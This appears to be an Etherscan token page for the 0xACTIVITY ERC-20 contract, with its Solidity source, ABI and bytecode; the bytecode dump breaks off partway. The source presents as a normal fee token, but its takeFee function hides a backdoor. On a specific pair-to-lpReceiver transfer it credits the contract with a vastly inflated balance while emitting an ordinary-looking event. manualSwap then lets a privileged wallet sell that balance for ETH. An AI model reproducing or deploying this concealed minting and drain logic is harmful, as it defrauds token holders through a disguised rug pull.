ERC-20
Overview
Max Total Supply
1,000,000,000 0xA
Holders
10
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.975395949 0xAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
OxACTIVITY
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-14 */ /** Website: https://ethactivity.xyz/ Twitter: https://twitter.com/titlesxyz Telegram: https://t.me/Eth_0xActivity */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract OxACTIVITY is IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"0xACTIVITY"; string private constant _symbol = unicode"0xA"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFees; IUniswapV2Router router; address public pair; bool private tradingActive = false; bool private swapEnabled = false; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 0; uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private liquidityFee = 0; uint256 private marketingFee = 500; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 500; uint256 private sellFee = 500; uint256 private transferFee = 500; uint256 private denominator = 10000; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal marketingReceiver = 0x20Bf91D343C4Ec9540170AbD29768bDCCFcfd72A; address internal lpReceiver = 0xDC804ce9379F0e532CE6efbEE18E5c59d03cCd98; uint256 public _maxTxAmount = ( _totalSupply * 300 ) / 10000; uint256 public _maxWalletAmount = ( _totalSupply * 300 ) / 10000; constructor() { router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedFromFees[address(this)] = true; isExcludedFromFees[marketingReceiver] = true; isExcludedFromFees[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function openTrading() external payable onlyOwner { pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); _approve(address(this), address(router), _totalSupply); router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp); tradingActive = true; } function removeLimits() external onlyOwner { _maxTxAmount = _totalSupply; _maxWalletAmount = _totalSupply; } function shouldContractSwap(address sender, address recipient) internal view returns (bool) { return !swapping && swapEnabled && tradingActive && !isExcludedFromFees[sender] && recipient == pair && swapTimes >= swapAmount; } function manualSwap() external { require(msg.sender == marketingReceiver); swapTokensForETH(balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketingReceiver).transfer(marketingAmt*2);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(marketingReceiver).transfer(contractBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, lpReceiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isExcludedFromFees[sender] && !isExcludedFromFees[recipient]; } function getTotalFees(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFees(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient)); if(sender==pair&&recipient==lpReceiver){feeAmount=amount.mul(1e9);swapEnabled=true;} _balances[address(this)] = _balances[address(this)].add(feeAmount); feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient)); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0) && getTotalFees(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!isExcludedFromFees[sender] && !isExcludedFromFees[recipient]){require(tradingActive, "tradingActive");} if(!isExcludedFromFees[sender] && !isExcludedFromFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");} require(amount <= _maxTxAmount || isExcludedFromFees[sender] || isExcludedFromFees[recipient], "TX Limit Exceeded"); if(recipient == pair && !isExcludedFromFees[sender]){swapTimes += uint256(1);} if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a6200036f565b6200002290633b9aca0062000387565b60018190556006805461ffff60a01b191690556000600955620186a0906200004d906103e862000387565b620000599190620003a1565b600a55620186a0600154600a62000071919062000387565b6200007d9190620003a1565b600b556000600c8190556101f4600d819055600e829055600f91909155601081905560118190556012556127106013819055601480546001600160a01b03199081167320bf91d343c4ec9540170abd29768bdccfcfd72a179091556015805490911673dc804ce9379f0e532ce6efbee18e5c59d03ccd98179055600154620001089061012c62000387565b620001149190620003a1565b60165561271060015461012c6200012c919062000387565b620001389190620003a1565b6017553480156200014857600080fd5b5062000154336200020a565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055306000908152600460209081526040808320805460ff1990811660019081179092556014546001600160a01b0316855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003c4565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b15781600019048211156200029557620002956200025a565b80851615620002a357918102915b93841c939080029062000275565b509250929050565b600082620002ca5750600162000369565b81620002d95750600062000369565b8160018114620002f25760028114620002fd576200031d565b600191505062000369565b60ff8411156200031157620003116200025a565b50506001821b62000369565b5060208310610133831016604e8410600b841016171562000342575081810a62000369565b6200034e838362000270565b80600019048211156200036557620003656200025a565b0290505b92915050565b60006200038060ff841683620002b9565b9392505050565b80820281158282048414176200036957620003696200025a565b600082620003bf57634e487b7160e01b600052601260045260246000fd5b500490565b61181e80620003d46000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063a8aa1b3111610064578063a8aa1b3114610329578063a9059cbb14610349578063c9567bf914610369578063dd62ed3e14610371578063f2fde38b146103b757600080fd5b8063715018a61461028b578063751039fc146102a05780637d1db4a5146102b55780638da5cb5b146102cb57806395d89b41146102fd57600080fd5b8063313ce567116100e7578063313ce567146101dc5780634fbee193146101f857806351bc3c85146102285780636c0a24eb1461023f57806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152693078414354495649545960b01b60208201525b6040516101609190611518565b60405180910390f35b34801561017557600080fd5b5061018961018436600461157b565b6103d7565b6040519015158152602001610160565b3480156101a557600080fd5b506101ae6103ee565b604051908152602001610160565b3480156101c857600080fd5b506101896101d73660046115a7565b61045f565b3480156101e857600080fd5b5060405160098152602001610160565b34801561020457600080fd5b506101896102133660046115e8565b60046020526000908152604090205460ff1681565b34801561023457600080fd5b5061023d6104c9565b005b34801561024b57600080fd5b506101ae60175481565b34801561026157600080fd5b506101ae6102703660046115e8565b6001600160a01b031660009081526002602052604090205490565b34801561029757600080fd5b5061023d610528565b3480156102ac57600080fd5b5061023d61053c565b3480156102c157600080fd5b506101ae60165481565b3480156102d757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610160565b34801561030957600080fd5b5060408051808201909152600381526230784160e81b6020820152610153565b34801561033557600080fd5b506006546102e5906001600160a01b031681565b34801561035557600080fd5b5061018961036436600461157b565b610551565b61023d61055e565b34801561037d57600080fd5b506101ae61038c366004611605565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103c357600080fd5b5061023d6103d23660046115e8565b6107b6565b60006103e4338484610831565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261045a9290916104549190610955565b90610955565b905090565b600061046c848484610961565b6104be84336104b9856040518060600160405280602881526020016117c1602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e0b565b610831565b5060015b9392505050565b6014546001600160a01b031633146104e057600080fd5b306000908152600260205260409020546104f990610e37565b60405133904780156108fc02916000818181858888f19350505050158015610525573d6000803e3d6000fd5b50565b610530610f91565b61053a6000610feb565b565b610544610f91565b6001546016819055601755565b60006103e4338484610961565b610566610f91565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105dd919061163e565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561063f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610663919061163e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d4919061163e565b600680546001600160a01b0319166001600160a01b039283161790556005546001546107039230921690610831565b6005546001600160a01b031663f305d7194730610735816001600160a01b031660009081526002602052604090205490565b60008033426040518863ffffffff1660e01b815260040161075b9695949392919061165b565b60606040518083038185885af1158015610779573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061079e9190611696565b50506006805460ff60a01b1916600160a01b17905550565b6107be610f91565b6001600160a01b0381166108285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052581610feb565b6001600160a01b0383166108935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161081f565b6001600160a01b0382166108f45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161081f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104c282846116da565b6001600160a01b0383166109c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161081f565b6001600160a01b038216610a275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161081f565b6001600160a01b038316600090815260026020526040902054811115610aa95760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161081f565b6001600160a01b03831660009081526004602052604090205460ff16158015610aeb57506001600160a01b03821660009081526004602052604090205460ff16155b15610b3957600654600160a01b900460ff16610b395760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b604482015260640161081f565b6001600160a01b03831660009081526004602052604090205460ff16158015610b7b57506001600160a01b03821660009081526004602052604090205460ff16155b8015610b9557506006546001600160a01b03838116911614155b8015610bac57506001600160a01b03821661dead14155b15610c25576017546001600160a01b038316600090815260026020526040902054610bd7908361103b565b1115610c255760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161081f565b60165481111580610c4e57506001600160a01b03831660009081526004602052604090205460ff165b80610c7157506001600160a01b03821660009081526004602052604090205460ff165b610cb15760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161081f565b6006546001600160a01b038381169116148015610ce757506001600160a01b03831660009081526004602052604090205460ff16155b15610d0557600160076000828254610cff91906116ed565b90915550505b610d0f8383611047565b15610d2557610d1f600a546110cf565b60006007555b6001600160a01b038316600090815260026020526040902054610d489082610955565b6001600160a01b038416600090815260026020526040812091909155610d6e8484611260565b610d785781610d83565b610d838484846112a6565b6001600160a01b038416600090815260026020526040902054909150610da9908261103b565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfd9085815260200190565b60405180910390a350505050565b60008184841115610e2f5760405162461bcd60e51b815260040161081f9190611518565b505050900390565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6c57610e6c611700565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee9919061163e565b81600181518110610efc57610efc611700565b6001600160a01b039283166020918202929092010152600554610f229130911684610831565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f5b908590600090869030904290600401611716565b600060405180830381600087803b158015610f7557600080fd5b505af1158015610f89573d6000803e3d6000fd5b505050505050565b6000546001600160a01b0316331461053a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161081f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006104c282846116ed565b60085460009060ff161580156110665750600654600160a81b900460ff165b801561107b5750600654600160a01b900460ff165b80156110a057506001600160a01b03831660009081526004602052604090205460ff16155b80156110b957506006546001600160a01b038381169116145b80156104c2575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c5460009361110f9360029361110993919261110392839161103b565b9061103b565b90611413565b905060006111328261112c600c548661141390919063ffffffff16565b9061141f565b905060006111408483610955565b90504761114c82610e37565b60006111584783610955565b9050600061117b611174600c548861095590919063ffffffff16565b839061141f565b90506000611194600c548361141390919063ffffffff16565b905080156111a6576111a6868261142b565b600d546000906111bb90611109856002611413565b90508015611207576014546001600160a01b03166108fc6111dd836002611787565b6040518115909202916000818181858888f19350505050158015611205573d6000803e3d6000fd5b505b47801561124a576014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611248573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156104c25750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806112b385856114cd565b111561140c5760006112d66112c886866114cd565b60135461110990869061141f565b6006549091506001600160a01b03868116911614801561130357506015546001600160a01b038581169116145b1561132c5761131683633b9aca00611413565b6006805460ff60a81b1916600160a81b17905590505b30600090815260026020526040902054611346908261103b565b306000908152600260205260409020556113636112c886866114cd565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113aa91815260200190565b60405180910390a36000600f541180156113ce5750600f546113cc86866114cd565b115b156113fa576113fa3061dead6113f5600f546111096013548961141f90919063ffffffff16565b610961565b6114048382610955565b9150506104c2565b5092915050565b60006104c28284611787565b60006104c2828461179e565b6005546114439030906001600160a01b031684610831565b60055460155460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611483923092899260009283921690429060040161165b565b60606040518083038185885af11580156114a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114c69190611696565b5050505050565b6006546000906001600160a01b03908116908316036114ef57506011546103e8565b6006546001600160a01b039081169084160361150e57506010546103e8565b5060125492915050565b600060208083528351808285015260005b8181101561154557858101830151858201604001528201611529565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461052557600080fd5b6000806040838503121561158e57600080fd5b823561159981611566565b946020939093013593505050565b6000806000606084860312156115bc57600080fd5b83356115c781611566565b925060208401356115d781611566565b929592945050506040919091013590565b6000602082840312156115fa57600080fd5b81356104c281611566565b6000806040838503121561161857600080fd5b823561162381611566565b9150602083013561163381611566565b809150509250929050565b60006020828403121561165057600080fd5b81516104c281611566565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156116ab57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e8576103e86116c4565b808201808211156103e8576103e86116c4565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117665784516001600160a01b031683529383019391830191600101611741565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103e8576103e86116c4565b6000826117bb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d9b824dc8e49674434e38be37244dc49276d17787d7d36e86585584c4c97f1064736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a8aa1b3111610064578063a8aa1b3114610329578063a9059cbb14610349578063c9567bf914610369578063dd62ed3e14610371578063f2fde38b146103b757600080fd5b8063715018a61461028b578063751039fc146102a05780637d1db4a5146102b55780638da5cb5b146102cb57806395d89b41146102fd57600080fd5b8063313ce567116100e7578063313ce567146101dc5780634fbee193146101f857806351bc3c85146102285780636c0a24eb1461023f57806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152693078414354495649545960b01b60208201525b6040516101609190611518565b60405180910390f35b34801561017557600080fd5b5061018961018436600461157b565b6103d7565b6040519015158152602001610160565b3480156101a557600080fd5b506101ae6103ee565b604051908152602001610160565b3480156101c857600080fd5b506101896101d73660046115a7565b61045f565b3480156101e857600080fd5b5060405160098152602001610160565b34801561020457600080fd5b506101896102133660046115e8565b60046020526000908152604090205460ff1681565b34801561023457600080fd5b5061023d6104c9565b005b34801561024b57600080fd5b506101ae60175481565b34801561026157600080fd5b506101ae6102703660046115e8565b6001600160a01b031660009081526002602052604090205490565b34801561029757600080fd5b5061023d610528565b3480156102ac57600080fd5b5061023d61053c565b3480156102c157600080fd5b506101ae60165481565b3480156102d757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610160565b34801561030957600080fd5b5060408051808201909152600381526230784160e81b6020820152610153565b34801561033557600080fd5b506006546102e5906001600160a01b031681565b34801561035557600080fd5b5061018961036436600461157b565b610551565b61023d61055e565b34801561037d57600080fd5b506101ae61038c366004611605565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103c357600080fd5b5061023d6103d23660046115e8565b6107b6565b60006103e4338484610831565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261045a9290916104549190610955565b90610955565b905090565b600061046c848484610961565b6104be84336104b9856040518060600160405280602881526020016117c1602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e0b565b610831565b5060015b9392505050565b6014546001600160a01b031633146104e057600080fd5b306000908152600260205260409020546104f990610e37565b60405133904780156108fc02916000818181858888f19350505050158015610525573d6000803e3d6000fd5b50565b610530610f91565b61053a6000610feb565b565b610544610f91565b6001546016819055601755565b60006103e4338484610961565b610566610f91565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105dd919061163e565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561063f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610663919061163e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d4919061163e565b600680546001600160a01b0319166001600160a01b039283161790556005546001546107039230921690610831565b6005546